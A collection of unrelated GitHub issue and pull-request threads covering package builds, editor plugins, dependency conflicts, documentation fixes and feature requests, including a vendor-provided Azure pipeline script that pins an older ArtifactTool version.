55 packages built:

lua51Packages.neorg
lua52Packages.neorg
lua53Packages.neorg
luajitPackages.neorg
vimPlugins.ChatGPT-nvim
vimPlugins.LazyVim
vimPlugins.LeaderF
vimPlugins.cmp-fuzzy-buffer
vimPlugins.cmp-fuzzy-path
vimPlugins.cmp-treesitter
vimPlugins.completion-treesitter
vimPlugins.crates-nvim
vimPlugins.flash-nvim
vimPlugins.fuzzy-nvim
vimPlugins.fzf-lua
vimPlugins.go-nvim
vimPlugins.hardhat-nvim
vimPlugins.haskell-scope-highlighting-nvim
vimPlugins.haskell-tools-nvim
vimPlugins.image-nvim
vimPlugins.jsonfly-nvim
vimPlugins.lazy-nvim
vimPlugins.lazygit-nvim
vimPlugins.leap-ast-nvim
vimPlugins.lspsaga-nvim
vimPlugins.multicursors-nvim
vimPlugins.neogit
vimPlugins.neorg
vimPlugins.nerdcommenter
vimPlugins.nerdtree
vimPlugins.nlsp-settings-nvim
vimPlugins.nvim-pqf
vimPlugins.nvim-tree-lua
vimPlugins.nvim-treesitter
vimPlugins.nvim-treesitter-textsubjects
vimPlugins.octo-nvim
vimPlugins.onedarkpro-nvim
vimPlugins.orgmode
vimPlugins.playground
vimPlugins.refactoring-nvim
vimPlugins.rest-nvim
vimPlugins.ssr
vimPlugins.telescope-cheat-nvim
vimPlugins.telescope-frecency-nvim
vimPlugins.telescope-fzf-native-nvim
vimPlugins.telescope-fzf-writer-nvim
vimPlugins.telescope-fzy-native-nvim
vimPlugins.telescope-media-files-nvim
vimPlugins.telescope-nvim
vimPlugins.telescope-symbols-nvim
vimPlugins.telescope-undo-nvim
vimPlugins.telescope-z-nvim
vimPlugins.telescope-zoxide
vimPlugins.unison
vimPlugins.vim-spirv

Result of nixpkgs-review pr 302442 run on aarch64-linux 1

1 package marked as broken and skipped:

lua54Packages.neorg

55 packages built:

lua51Packages.neorg
lua52Packages.neorg
lua53Packages.neorg
luajitPackages.neorg
vimPlugins.ChatGPT-nvim
vimPlugins.LazyVim
vimPlugins.LeaderF
vimPlugins.cmp-fuzzy-buffer
vimPlugins.cmp-fuzzy-path
vimPlugins.cmp-treesitter
vimPlugins.completion-treesitter
vimPlugins.crates-nvim
vimPlugins.flash-nvim
vimPlugins.fuzzy-nvim
vimPlugins.fzf-lua
vimPlugins.go-nvim
vimPlugins.hardhat-nvim
vimPlugins.haskell-scope-highlighting-nvim
vimPlugins.haskell-tools-nvim
vimPlugins.image-nvim
vimPlugins.jsonfly-nvim
vimPlugins.lazy-nvim
vimPlugins.lazygit-nvim
vimPlugins.leap-ast-nvim
vimPlugins.lspsaga-nvim
vimPlugins.multicursors-nvim
vimPlugins.neogit
vimPlugins.neorg
vimPlugins.nerdcommenter
vimPlugins.nerdtree
vimPlugins.nlsp-settings-nvim
vimPlugins.nvim-pqf
vimPlugins.nvim-tree-lua
vimPlugins.nvim-treesitter
vimPlugins.nvim-treesitter-textsubjects
vimPlugins.octo-nvim
vimPlugins.onedarkpro-nvim
vimPlugins.orgmode
vimPlugins.playground
vimPlugins.refactoring-nvim
vimPlugins.rest-nvim
vimPlugins.ssr
vimPlugins.telescope-cheat-nvim
vimPlugins.telescope-frecency-nvim
vimPlugins.telescope-fzf-native-nvim
vimPlugins.telescope-fzf-writer-nvim
vimPlugins.telescope-fzy-native-nvim
vimPlugins.telescope-media-files-nvim
vimPlugins.telescope-nvim
vimPlugins.telescope-symbols-nvim
vimPlugins.telescope-undo-nvim
vimPlugins.telescope-z-nvim
vimPlugins.telescope-zoxide
vimPlugins.unison
vimPlugins.vim-spirv

@teto is he neorg = ... snippet in vim/plugins/overrides.nix needed anymore now ?
https://github.com/NixOS/nixpkgs/blob/b7488ba3b9b62fa8f1b08ea60200583750cde86f/pkgs/applications/editors/vim/plugins/overrides.nix#L968-L970

No. That was for neorg 7.x

No. That was for neorg 7.x

Ok, I removed it !

Everything seems to build fine now. Could someone actually test the plugin ?

I just set my flake to use your fork on the neorg branch, and upon calling require('neorg').setup(), I get

Warning [neorg]: lua-utils not found. If you're just installing the plugin, ignore this message, when in doubt run :Lazy build neorg. If you're not on lazy please rerun the build scripts.

So I think we need to wait for @teto's fix.

Everything seems to build fine now. Could someone actually test the plugin ?

I just set my flake to use your fork on the neorg branch, and upon calling require('neorg').setup(), I get

Warning [neorg]: lua-utils not found. If you're just installing the plugin, ignore this message, when in doubt run :Lazy build neorg. If you're not on lazy please rerun the build scripts.

So I think we need to wait for @teto's fix.

Isn't staging-next(which I'm assuming what you're referring to) already merged?

Isn't staging-next(which I'm assuming what you're referring to) already merged?

If it is, then I don't know why it didn't find the dependency. I'd have to look into that later.
@teto any ideas?

in staging-next, I mentioned lua fixes that helped with a neovim solution but not that it would contain a neovim fix.
Because I wanted to quickly fix it in my fork I just go through the deps and add them to the lua environment seen by neovim:
https://github.com/teto/nixpkgs/blob/1726887536c7fce3c877839100267cbae6d330f1/pkgs/applications/editors/neovim/wrapper.nix#L150 . It works but I am not sure it's the correct answer: this info should already be available in the lua hook. I tried to add LUA_PATH and LUA_CPATH in the neovim wrapper but seems like the lua hook does not look into propagatedBuildInputs (it should!) so it was useless for luasnip.
I was probably too optimistic for getting this into the release :/ I dont have much time in the upcoming days and it's delicate as it could break home-managers' implementation as well.

@teto is he neorg = ... snippet in vim/plugins/overrides.nix needed anymore now ?
https://github.com/NixOS/nixpkgs/blob/b7488ba3b9b62fa8f1b08ea60200583750cde86f/pkgs/applications/editors/vim/plugins/overrides.nix#L968-L970

Then we should probably override the dependencies for the vim plugin for now (if we want to get this in the release).
Perhaps with a note to remove it when the fix has landed.
Some of the lua dependencies would have to be mapped to neovim plugins.

if you rebase, I can try to see if this works with my patch on staging-next. I've tried with rocks.nvim and it worked so I am tempted to say yes but my neovim config is not "pure" :)

Hey there. It should be working now.
Better late than never...

Works for me locally targeting this PR. Will post nixpkgs-reviews

Result of nixpkgs-review pr 302442 run on x86_64-linux 1

1 package marked as broken and skipped:

lua54Packages.neorg

6 packages built:

lua51Packages.neorg
lua52Packages.neorg
lua53Packages.neorg
luajitPackages.neorg
vimPlugins.neorg
vimPluginsUpdater

Result of nixpkgs-review pr 302442 run on aarch64-darwin 1

1 package marked as broken and skipped:

lua54Packages.neorg

6 packages built:

lua51Packages.neorg
lua52Packages.neorg
lua53Packages.neorg
luajitPackages.neorg
vimPlugins.neorg
vimPluginsUpdater

Result of nixpkgs-review pr 302442 run on x86_64-darwin 1

1 package marked as broken and skipped:

lua54Packages.neorg

6 packages built:

lua51Packages.neorg
lua52Packages.neorg
lua53Packages.neorg
luajitPackages.neorg
vimPlugins.neorg
vimPluginsUpdater

nixpkgs-review result
Generated using nixpkgs-review.

Command: nixpkgs-review pr 302442
Systems: x86_64-linux,aarch64-linux,x86_64-darwin,aarch64-darwin

x86_64-linux

:fast_forward: 1 package marked as broken and skipped:

lua54Packages.neorg

:white_check_mark: 6 packages built:

lua51Packages.neorg
lua52Packages.neorg
lua53Packages.neorg
luajitPackages.neorg
vimPlugins.neorg
vimPluginsUpdater

aarch64-linux

:fast_forward: 1 package marked as broken and skipped:

lua54Packages.neorg

:white_check_mark: 6 packages built:

lua51Packages.neorg
lua52Packages.neorg
lua53Packages.neorg
luajitPackages.neorg
vimPlugins.neorg
vimPluginsUpdater

x86_64-darwin

:fast_forward: 1 package marked as broken and skipped:

lua54Packages.neorg

:white_check_mark: 6 packages built:

lua51Packages.neorg
lua52Packages.neorg
lua53Packages.neorg
luajitPackages.neorg
vimPlugins.neorg
vimPluginsUpdater

aarch64-darwin

:fast_forward: 1 package marked as broken and skipped:

lua54Packages.neorg

:white_check_mark: 6 packages built:

lua51Packages.neorg
lua52Packages.neorg
lua53Packages.neorg
luajitPackages.neorg
vimPlugins.neorg
vimPluginsUpdater


tab title only showing up short for powershell core

Environment
Windows build number: 10.0.18363.0
Windows Terminal version (if applicable): 1.4.2652
Powershell Core: 7.0.3

Steps to reproduce

Either specify a title in settings.json ("tabTitle": "PS Core") or through command line argument (--title PSCore) and open a new tab with that

Expected behavior

Tab title is persistent

Actual behavior

title is only shown shortly before it changes to the directory name
refer to gif below:

If I had to guess, there’s code in your powershell profile.ps1 that sets $Host.UI.RawUI.WindowTitle. By default, “title” is advisory and provided to the shell as additional information it can use to determine what you want the title to br. If you want terminal’s “title” to win over the application’s title in all circumstances, you’ll want to look into suppressApplicationTitle (profile setting, boolean).
Personally, I just make my shells set their titles. It lets me use different titles for different remote machines without having to manage fiddly bits of local configuration.

@DHowett Thanks for pointing this out, solved it for me! 👍
And also thank you for your always fun to read release notes 😄

always fun to read

Hey, thanks! I appreciate that 😄


Enable touchscreen scrolling in VSC tooltip pop-up

Type: Feature Request
I don't want to use a mouse to scroll text inside a tooltip in Visual Studio Code.
I'm using a x360 laptop so I'd like to scroll with my fingers.
VS Code version: Code 1.71.2 (74b1f979648cc44d385a2286793c226e611f59e7, 2022-09-14T21:03:37.738Z)
OS version: Windows_NT x64 10.0.22000
Modes:
Sandboxed: No

This feature request is now a candidate for our backlog. The community has 60 days to upvote the issue. If it receives 20 upvotes we will move it to our backlog. If not, we will close it. To learn more about how we handle feature requests, please see our documentation.
Happy Coding!

This feature request has not yet received the 20 community upvotes it takes to make to our backlog. 10 days to go. To learn more about how we handle feature requests, please see our documentation.
Happy Coding!

:slightly_frowning_face: In the last 60 days, this feature request has received less than 20 community upvotes and we closed it. Still a big Thank You to you for taking the time to create this issue! To learn more about how we handle feature requests, please see our documentation.
Happy Coding!


Reworked absolute_prepositions for #38

Added multiple values for relative part in absolute_prepositions
merging of multiple successive time datas with same type in relative part in absolute_prepositions
general fixing of bugs
added complex testcases

tests are likely to fail because this is a parser merge (evaluator not included)


https://angular.io/docs/ts/latest/tutorial/toh-pt6.html snippet links are broken

A number of snippet links from the Angular2 tour of heroes page https://angular.io/docs/ts/latest/tutorial/toh-pt6.html are broken. For example:
app/hero.service.ts (post)
BAD FILENAME: ../../../_fragments/toh-6/ts/app/hero.service-post.ts.md   Current path: docs,ts,latest,tutorial,toh-pt6 PathToDocs: ../../../
I raised this initially as https://github.com/angular/angular/issues/11127, but then Eric Martinez asked me to raise it in this issues repo. I noted an issues like this were previously opened and closed in the same angular issues repo - search issues for "BAD FILENAME".

I noticed the same issue, and found the following in https://github.com/angular/angular/issues/11148:
This one in particular is for the Post section of "Add, Edit, Delete" but there are instances of this all over the page from this point on. It looks like the reason for this is that the code has changed from the original and is now pointing at code that is no longer used. For example, for this Post section (and the Put and Save sections), the code that is shown in the overall file displayed later uses Create and Update methods which are never referenced in the tutorial, instead of Post/Put methods or a Save method which are all referenced there.

Looks like this may already be cleaned up, but not deployed yet? https://github.com/angular/angular.io/commit/907f848c95c306670b028eb113eec07fc6fd71b1#diff-dba43a2e28dc822997788284e58598db
@chalin

cc @kwalrath - it my be time for another deploy

@kwalrath - I'm surprise that there are any BAD FILENAME errors, since Travis tests for them and the build has been green for a while. I'm not sure what happened.

I'll deploy ASAP. (Which might be tomorrow, but I'll try for sooner.)

And... it's deployed.


Master currently broken because of dependency conflict between requests and cryptography

SUMMARY
The ST2 requirements.txt of st2common requires cryptography==2.7 and requests[security]<2.22.0,>=2.21.0. The problem is, requests[security]<2.22.0,>=2.21.0 requires cryptography>=2.8, so there is a dependency conflict.
It's the same kind of problem as https://github.com/StackStorm/st2/issues/4770.
Pip fails with the following error:
ERROR: pyopenssl 19.1.0 has requirement cryptography>=2.8, but you'll have cryptography 2.7 which is incompatible.

When using a recent version of pip (e.g. 19.3.1), this will cause pip to fail to install the requirements. However, if you try with an old version (e.g. 9.0.3), it will work. I don't know at which specific version of Pip it stops working.
Note: this might be considered urgent because as https://github.com/StackStorm-Exchange/ci uses the master branch of ST2, it is currently breaking CIs (depending on what version of Pip is used by the CI, and maybe the OS?).
STACKSTORM VERSION
Current master branch, bf173256a88a00f2cf64ec918f92cd67c5b6c927
OS, environment, install method
Ubuntu 16.04
Steps to reproduce the problem
It's easier to reproduce with Docker.

Start a container with the following command: docker run -it ubuntu:16.04 /bin/bash
Run the following commands inside the Docker container:

apt-get update
apt-get install python3 python3-pip python3-dev git build-essential libffi-dev libssl-dev nano
pip3 install virtualenv # To have a newer version of pip easily
virtualenv st2-requests-test
cd st2-requests-test
source ./bin/activate
# Create the st2/requirements.txt file
pip install -r requirements.txt # This will fail

Expected Results
Should correctly install all the dependencies when doing pip install -r requirements.txt.
Actual Results
Pip fails with the following error:
ERROR: pyopenssl 19.1.0 has requirement cryptography>=2.8, but you'll have cryptography 2.7 which is incompatible.

Thanks for reporting this.
We will look into a fix and also make sure we use version of pip / tool which fails our main CI if conflicting version of dependencies is used.

It's worth noting that those errors are not fatal, but I will still look into resolving it and make sure our CI builds fast in such scenarios in the future.

@Kami For us, it makes the CI (https://github.com/StackStorm-Exchange/ci) fail and exit 2

@GuiTeK Have you tried rerunning the pack CI in the past hour or so? I got the pack CI tests running (some even successfully!) just a few minutes ago. :metal:😄
Feel free to ping me if you need me to kick/rerun any specific pack CI tests. If you're still having problems I'll reopen this issue.
I'm currently making sure that the ST2 CI is running and passing.


Update crud.md

If an error occur for example in the url string such as : url = 'mongodbxxx://localhost:27017' , the client will be undefined. A check if client is defined before closing the necessary to prevent error.

Thank you for contributing @khanhlu2013, we really appreciate it! After you brought this to our attention, we thought it might be better to instead convert all the examples to follow the following format:
(async function() {
  const client = new MongoClient(url);

  try {
    await client.connect();
    ...
  } catch (err) {
    console.log(err.stack);
  }

  client.close();
})();

This has the benefit of not having to check if client is defined, and uses the preferred format for creating a MongoClient.
Would you be okay with making that change? If not, we can take care of it.
Thanks,
Dan
Filed NODE-1585 to track this.

Hi
Your suggestion looks great. Please go ahead and make those changes for me. Thank you!

Closing in favor of #1800


Spacebar should scroll in list mode

I received a report (https://github.com/RubenVerborgh/WebFundamentals/issues/18) that the current spacebar behavior in Shower is non-intuitive.  As you know, the space bar on webpages typically has the function of scrolling.
In slide mode, it makes sense to change this behavior, since scrolling does not apply there. This is what Shower currently does.
In list mode, however, scrolling seems to the preferred behavior. Yet Shower alters this behavior to skipping to the next slide (for which there are many other keybindings anyway). This commit fixes that behavior to scrolling in list mode.
Should you have any concerns please let me know. In particular:

I used a case fallthrough, which the style file allows me but you might not like.
I was not sure if I needed to update the keys.js test (is it full screen or not?), as the tests on master currently don't run.

This is definitely not intuitive, so I’ll merge it with pleasure. I’d stil add a test for it to keys.js even though it’s failing for now so we’ll have chance not to forget about it while fixing tests.

Fair enough; I just wasn't sure on how to run the keys tests by themselves. If you could explain how I can do that, I'll gladly write a test.

@RubenVerborgh, it’s simple: grunt test and you’ll see:

FAIL 40 tests executed in 2.406s, 30 passed, 10 failed

To run just keys.js change *.js to keys.js here:
    casperjs: {
        files: ['tests/functional/*.js']
    }

Pushed tests. (2 tests of keys.js still fail, they are unrelated and failed before.)

Released in shower-core and shower packages, thank you!


Is LANDrop browser or App-based (on sending side)?

I am unsure whether LANDrop is (at least on the sending side) is browser or app-based.
So if someone (e.g. on an iPhone or Android Smartphone) wants to send me a file: Is it required to install LANDrop on his device?
Or can he just drop it on his browser?
Installing LANdrop App on MY local Smartphone would be acceptable.

Its App-based. Sender need to install an App on its device.


proposal: parameter/return field in godoc

In sometimes, I hope to know the meaning of function parameters in source code. However, most of godoc(s) comment are just explaining abridgely like // XXX create Writer from w. This often makes confusing especially for non-english speakers. So I hope to add syntax to make documentation like doxygen or javadoc in godoc comment.
Note: I give you due warning, I don't mean that all of go codes must be complying this syntax. Just providing way to create useful documentation.
// CreateDocument create document file on the directory path.
// @param path Path to the directory to create the document file.
// @param mode Mode to switch Rich/Simple mode.
// @return filename created
// @return error when occured
func CreateDocument(path string, mode Mode) (string, error) {
   //...
}

godoc command generate html table tag from the parameter/return directives. I know that you have many different opinions about this. Someone doesn't like this syntax. And maybe it need more syntax is needed. However, this may be useful to read/write documentation, and know what the parameter/return value is meaning, I guess.
Thanks.

Suggestion/question: couldn't go lint be changed to complain if explanations for the parameters are omitted?

Possibly dup of #229 and see also #4118.

Revently, I deliver products written in Go for my customers with godoc documentation. The documentation is written in english currently. godoc is beautiful look to see documentation. However all of programmers cannnot write english in the world. As I said in above, // XXX make bytes.Buffer from w often makes confusing in non-english speakers. If possibly, we have better to provide the way to write godoc for non-english people. In additional, godoc accept to write in free style. So often, I forgot to add description of new parameters. As @ericlagergren said, varidator will be useful to check whether the documentation is broken.

I say again, I don't want to add complying. Just want to add extensible for the documentation.

There is a hook in the packages that godoc uses that can be used to turn all references to certain names into code font, so that parameters can be shown in a separate font. But it's unclear if that's sufficient for your needs.
We don't want to add explicit markup, like @param and @return, even optionally. It's important that doc comments read as ordinary comments, without needing to know about special syntax.

I think godoc could definitely help more here.
For example, assuming the docs is not too long, that is, all the docs and
the function prototype are displayed in the screen, then we can make godoc
highlight the argument when the mouse pointer hovers over the name of the
argument in the docs.
However, this might not help if the argument name is too common a word, and
are "used" in the docs for purposes other than referring to the argument.

@rsc this isn't my issue, but I'd appreciate having parameter names be in code.

As noted before, one of the first principles of godoc comments is to avoid markup like @param.


[frontend] Modify tooltip which can be passed in params now

What changes were proposed in this pull request?

To clear a bit of UI, 'Database' is removed and the tooltip is modified as 'Database X' where X is the current database selected.
Tooltip can be passed in params now which can help in clearing more such text on editor such as "Text" besides "Database" before.
This gives flexibility whether to use this tooltip or have the previous one is different cases.

How was this patch tested?

Tested manually

Fixes #1710

To fix the test, run "npm run test-dev", let it finish the first pass, then you can press "u" to update the snapshots.

To fix the test, run "npm run test-dev", let it finish the first pass, then you can press "u" to update the snapshots.

Thank you!

Nice!
And:

To fix the test, run "npm run test-dev", let it finish the first pass, then you can press "u" to update the snapshots.

Maybe adding a "how to update snapshot test" line to?
https://docs.gethue.com/developer/development/#running-the-ui-tests

Nice!
And:

To fix the test, run "npm run test-dev", let it finish the first pass, then you can press "u" to update the snapshots.

Maybe adding a "how to update snapshot test" line to?
https://docs.gethue.com/developer/development/#running-the-ui-tests

On it!


Typo in the final 'Note'

The last sentence in the final Note reads, "Read more in the API Mananagement FAQ." instead of "Read more in the API Management FAQ."

Document details
⚠ Do not edit this section. It is required for docs.microsoft.com ➟ GitHub issue linking.

ID: d02a5991-da24-06a2-0c24-d012d2e07399
Version Independent ID: 64acd893-43bb-81af-d14d-0b7553e93daf
Content: Configure a custom domain name for your Azure API Management instance
Content Source: articles/api-management/configure-custom-domain.md
Service: api-management
GitHub Login: @vladvino
Microsoft Alias: apimpm

Thanks for reporting this and helping us drive improvements toward MS Docs, @liambarnett! I've created a PR that corrects the typo and the change should be live soon.
We will now proceed to close this thread. If there are further questions regarding this matter, please reopen it and we will gladly continue the discussion.


Add Tooltips to community assets

Each should have a tooltip explaining what is being counted
Remove high schools, explain schools included, and consider disclaimer that attendance boundaries are not coterminus with CDs. Related to listing school districts in issue #83

@kerrygathers I think I just need some tooltip content for this:

Public Schools
Public Libraries
Hospitals and Clinics
Parks

Just to be clear, will we be able to remove high schools? The facilities explorer's lowest subcategory in that area is public K-12 Schools

@allthesignals @jorgeh01 @amirapu Arundathi and I talked to Sarah Whitham about it yesterday, and we're going to stick with the same numbers, but explain the definitions of each category in the tooltip. Tooltip language will be done today.

Community Assets Tooltips
Public Schools: Public elementary, middle, and high schools. Public schools identified may serve multiple Community Districts
Public Libraries: Libraries operated by NYPL, QPL, BPL and academic institutions
Hospitals and Clinics: Urgent care hospitals, diagnostic and treatment centers, and school-based health facilities
Parks: Properties operated by NYC Parks, NYC DOT, NYS Office of Parks, Recreation and Historic Preservation, NYS Dept. of Conservation, and City-State corporations and trusts


Seed Everywhere broken

Queue Prompt stopped working after updating ConfyUI. Quick check of log and disabling all other extensions narrowed it to Seed Everywhere node. Other everywhere nodes works fine but with Seed Everywhere this is the error given:
use_everywhere.js:17
Uncaught (in promise) DOMException: Failed to execute 'structuredClone' on 'Window': () => config could not be cloned.
    at analyse_graph (http://<IP_ADDRESS>:8188/extensions/use_everywhere/use_everywhere.js:17:13)
    at async ComfyApp.queuePrompt (http://<IP_ADDRESS>:8188/scripts/app.js:1624:16)

I noticed that all my nodes that had seed suddenly had both seed input and seed widget and had to be recreated to even work.

That last part is very weird - the seed everywhere node doesn't do anything to the nodes other than make a connection.
However, I suspect this is related to the issue in https://github.com/comfyanonymous/ComfyUI/pull/1677 which has been resolved (2 hours ago) - so I hope a latest version of ComfyUI will work.
Could you check?

It's working now after updating ComfyUI. Sorry for false alarm.


'tuple' object has no attribute 'layer'

img_pool = keras.layers.AveragePooling2D(pool_size=(56, 56), strides=(56 ,56),
padding='valid')(img_input)
img_flatten = keras.layers.Flatten()(img_pool)
se = keras.layers.Dense(2)(img_flatten)
se = keras.layers.Activation('relu')(se)
se = keras.layers.Dense(16)(se)
se = keras.layers.Activation('sigmoid')(se)
se = keras.layers.Reshape((16,1,1,1))(se)
x = keras.layers.Reshape((4, 56, 4, 56, 3))(img_input)
x = keras.layers.Permute((1,3,2,4,5))(x)
x = keras.layers.Reshape((16,56,56,3))(x)
x = keras.layers.multiply([x, se])
x = keras.layers.Reshape((4,4,56, 56, 3))(x)
x = keras.layers.Permute((1,3,2,4,5))(x)
x = keras.layers.Reshape(( 224,224,3))(x)
I get an error when I write the above code.'tuple' object has no attribute 'layer'.I don't know what went wrong.

which line of code has the error? Can you paste the traceback here?

this could also be a version mismatch issue so please check that too.


Bug: The 'Buffer' is still an experimental feature The configured version range is '>=18.6'.

Environment
Node version:
npm version:
ESLint version:
eslint-plugin-n version:
Operating System:
Latest
What rule do you want to report?
n/no-unsupported-features/node-builtins
Link to Minimal Reproducible Example
https://github.com/coderaiser/putout/actions/runs/8982632006/job/24670666707#step:7:24
What did you expect to happen?

I have such code examples in README.md:
new Buffer(123);
new Buffer(n);
new Buffer('hello');

new Buffer([]);
new Buffer(buf);

Looks like it is not experimental but deprecated syntax according to DEP005
Participation

[ ] I am willing to submit a pull request for this issue.

Additional comments
No response

How curious, its marked as deprecated:
https://github.com/eslint-community/eslint-plugin-n/blob/master/lib/unsupported-features/node-builtins-modules/buffer.js#L25-L26


[BUG]: Latest ArtifactTool binary from UniversalPackage task is not compatible with CentOS

New issue checklist

[x] I searched for existing GitHub issues
[x] I read pipeline troubleshooting guide
[x] I checked how to collect logs

Task name
UniversalPackage
Task version
0.243.1
Issue Description
Yes, I know all about CentOS being end of life (unfortunately, we still need to run it for a while).
UniversalPackage is currently downloading ArtifactTool version 0.2.359.  This version of ArtifactTool gives an error when running on CentOS:  /lib64/libstdc++.so.6: version 'GLIBCXX_3.4.20' not found (required by /opt/azure/_work/_tool/ArtifactTool/0.2.359/x64/artifacttool)
In my previous pipeline runs, the same version of UniversalPackage was downloading an older version of ArtifactTool: 0.2.350.  This version worked just fine without any errors.
Is there anything I can do?  Is there a way to somehow hard-code the version of ArtifactTool that is downloaded by UniversalPackage?
Environment type (Please select at least one enviroment where you face this issue)

[X] Self-Hosted
[ ] Microsoft Hosted
[ ] VMSS Pool
[ ] Container

Azure DevOps Server type
dev.azure.com (formerly visualstudio.com)
Azure DevOps Server Version (if applicable)
No response
Operation system
CentOS
Relevant log output
##[error]Error: An unexpected error occurred while trying to download the package. Exit code(1) and error(/opt/azure/_work/_tool/ArtifactTool/0.2.359/x64/artifacttool: /lib64/libstdc++.so.6: version `GLIBCXX_3.4.20' not found (required by /opt/azure/_work/_tool/ArtifactTool/0.2.359/x64/artifacttool)
##[error]Packages failed to download

Full task logs with system.debug enabled

 [REPLACE THIS WITH YOUR INFORMATION]

Repro steps
No response

We are having same issue on RHEL 7.9 The latest version of ArtifactTool which worked was 0.2.350

Same issue centos7. Broke half our build pipelines. Can't find a way to revert it due to the tool downloading the latest.
@v-schhabra can we revert the artifact tools version ?

We spoke with MS Support and their product group is starting a release to rollback all the recent changes they pushed including ArtifactTool. Not sure if it will affect all organizations or just ours.

With the upcoming end of support for .NET6 we need to move ArtifactTool to run with .NET8 which means we will only run on OSes supported by .NET8. You can use the following workaround to pin the version of ArtifactTool to the final .NET6 version we have published. This isn't supported so if it breaks at some point in the future the recommendation is going to be to move to an OS that is supported.
- task: Bash@3
    inputs:
      targetType: 'inline'
      script: |
        account="{yourorghere}";
        osName="linux";
        arch="amd64";
        version="0.2.350";
        downloadPath=$(Agent.TempDirectory);
        destinationZip="${downloadPath}/artifacttool.zip";
        destinationDir="${downloadPath}/artifacttool";
        destinationExe="${destinationDir}/artifacttool.exe";

        sourceUrl="https://vsblob.dev.azure.com/$account/_apis/clienttools/artifacttool/download?osName=$osName&arch=$arch&version=$version"

        curl -L -o $destinationZip $sourceUrl

        mkdir -p $destinationDir;

        unzip $destinationZip -d $destinationDir;

        echo "EXE: $destinationExe";
        echo "destinationDir: $destinationDir";
        echo "##vso[task.setvariable variable=UPack.OverrideArtifactToolPath;]$destinationDir";
    displayName: 'Download, extract ArtifactTool.exe and set UPack.OverrideArtifactToolPath'

You could also download the tool via the url https://vsblob.dev.azure.com/{your-account-here}/_apis/clienttools/artifacttool/download?osName=linux&arch=amd64&version=0.2.350 (replace {your-account-here} with your ado organization name) and bake it into your linux image. You can set an environment variable UPack.OverrideArtifactToolPath to point to the folder containing the older version.
Next month we will deploy the newer version and your upack tasks will break if you have not implemented this workaround.

With the upcoming end of support for .NET6 we need to move ArtifactTool to run with .NET8 which means we will only run on OSes supported by .NET8. You can use the following workaround to pin the version of ArtifactTool to the final .NET6 version we have published. This isn't supported so if it breaks at some point in the future the recommendation is going to be to move to an OS that is supported. Replace {yourorghere} with the name of your ado organization.
- task: Bash@3
    inputs:
      targetType: 'inline'
      script: |
        account="{yourorghere}";
        osName="linux";
        arch="amd64";
        version="0.2.350";
        downloadPath=$(Agent.TempDirectory);
        destinationZip="${downloadPath}/artifacttool.zip";
        destinationDir="${downloadPath}/artifacttool";

        sourceUrl="https://vsblob.dev.azure.com/$account/_apis/clienttools/artifacttool/download?osName=$osName&arch=$arch&version=$version"

        curl -L -o $destinationZip $sourceUrl

        mkdir -p $destinationDir;

        unzip $destinationZip -d $destinationDir;

        echo "destinationDir: $destinationDir";
        echo "##vso[task.setvariable variable=UPack.OverrideArtifactToolPath;]$destinationDir";
    displayName: 'Download, extract ArtifactTool and set UPack.OverrideArtifactToolPath'

You could also download the tool via the url https://vsblob.dev.azure.com/{yourorghere}/_apis/clienttools/artifacttool/download?osName=linux&arch=amd64&version=0.2.350 (replace {yourorghere} with your ado organization name) and bake it into your linux image. You can set an environment variable UPack.OverrideArtifactToolPath to point to the folder containing the older version.
Next month we will deploy the newer version and your upack tasks will break if you have not implemented this workaround.

@carl-tanner why not just add a version option to the ADO task ? That would fix this problem for the current users and negate this problem for years

It is an interesting idea and we may implement it in the future.

It is an interesting idea and we may implement it in the future.

It would be cool to have a holistic approach for all tasks.  If a task is getting updated so that it requires .NET 8 support, then it'd be great to have some common "backwards-compatible" or "unsupported" flag on each of those tasks.


Share count

It there option for share count like in https://github.com/koddr/vue-goodshare, has_counter?

Thank you for this wonderful component.
@nicolasbeauvais i suggest tagging this issue with enhancement label and keeping it open until the feature is implemented.
I was about to open an issue to request for this exact feature.

The feature @stuta was referring to, has been implemented in this function for facebook https://github.com/koddr/vue-goodshare/blob/master/src/providers/Facebook.vue#L102

Hello @gimyboya, I will not keep this issue open as after further review I decided not to implement a share count. Adding this feature means loading external scripts from Facebook and other company that do not respect user privacy, and I do not want an open source library with my name on it to do that.
Vue-goodshare is a well maintained alternative and I think it's beneficial for the ecosystem to have two libraries with different vision, Vue-goodshare for a full-featured solution and Vue-social-sharing a lightweight and renderless alternative.

@nicolasbeauvais I should apologies as I didn't realize that the feature would load external scripts from facebook which we all know is invading our everyday lives. I should say that it's not everyday that we get to meet people like you in the development community. people who advocates for privacy rights.
I stand 100% by your decision and I apologies again.


[Feature Requests] Additional control inputs, recents bar options, auto-hide filter icons when empty, VNEI tab renaming

It would be very nice if the following features were to be implemented into VNEI. Would you kindly consider them?

Input to remove items from the "recents" bar
This could, for example, be mapped to the mousewheel (Mouse 3) click and done when moused over the desired item to remove.

Input to "go back" to the item list from a selected item, without needing to click the X
This could, for example, be mapped to mouse right-click (Mouse 2) and done anywhere within VNEI's window area.

Add a clearer divider line between "recents" bar and the item list
I myself, and maybe some other users, get distracted by the "recents" bar and think it's the topmost row of the actual item list at first glance. This is because it's packed so closely to the item list itself, with only a paltry amount of space existing between the two. Having a visible, improved spacer/divider line between them would assist greatly here.

The option to disable/hide the "recents" bar completely
This one's pretty self-explanatory.

Auto-hide individual filter icons when no data is found in them
I've used the custom blacklist to hide every creature and undefined item. It would be great if those filter icons were to be hidden when no data is found, maybe with an option.

The option to rename/change the text of the VNEI tab, when "Attach to Crafting" is true/enabled
Having a tab named "VNEI" when you have the Attach to Crafting option enabled doesn't exactly fit the Valheim style. It would be nice to allow user customization for the text in this tab field, let's say for instance I wanted it the tab to read "LIBRARY" or "GUIDE" instead.

Thanks for the suggestions and the explanations.

Input to remove items from the "recents" bar
The option to disable/hide the "recents" bar completely
Auto-hide individual filter icons when no data is found in them,
The option to rename/change the text of the VNEI tab, when "Attach to Crafting" is true/enabled

yes this can be added, those are mostly small changes and I see the benefit to have those features

Input to "go back" to the item list from a selected item, without needing to click the X

not entirely sure if this is a good idea, since it may be pressed by accident and it's not clear what happens. But I get that a faster way to navigate is desirable, have to test some solutions

Add a clearer divider line between "recents" bar and the item list

this is a tough one. It's not really possible to increase the space without removing a row of the actual items and I'm not sure if a divider would fit with the style either. In my opinion, enough space to be told apart but yeah at first glance it may be confusing

Alright, as always it took longer then expected. But now most of the QoL features are implented, the most noteworthy change is to the "go back"-feature. Instead of clicking in the UI to go to the search, the whole history can be navigated.
Feel free to give feedback, a test version can be download here if you want to VNEI.zip. If you use Discord, you may want to join the Jötunn Discord and we can discuss the features there.
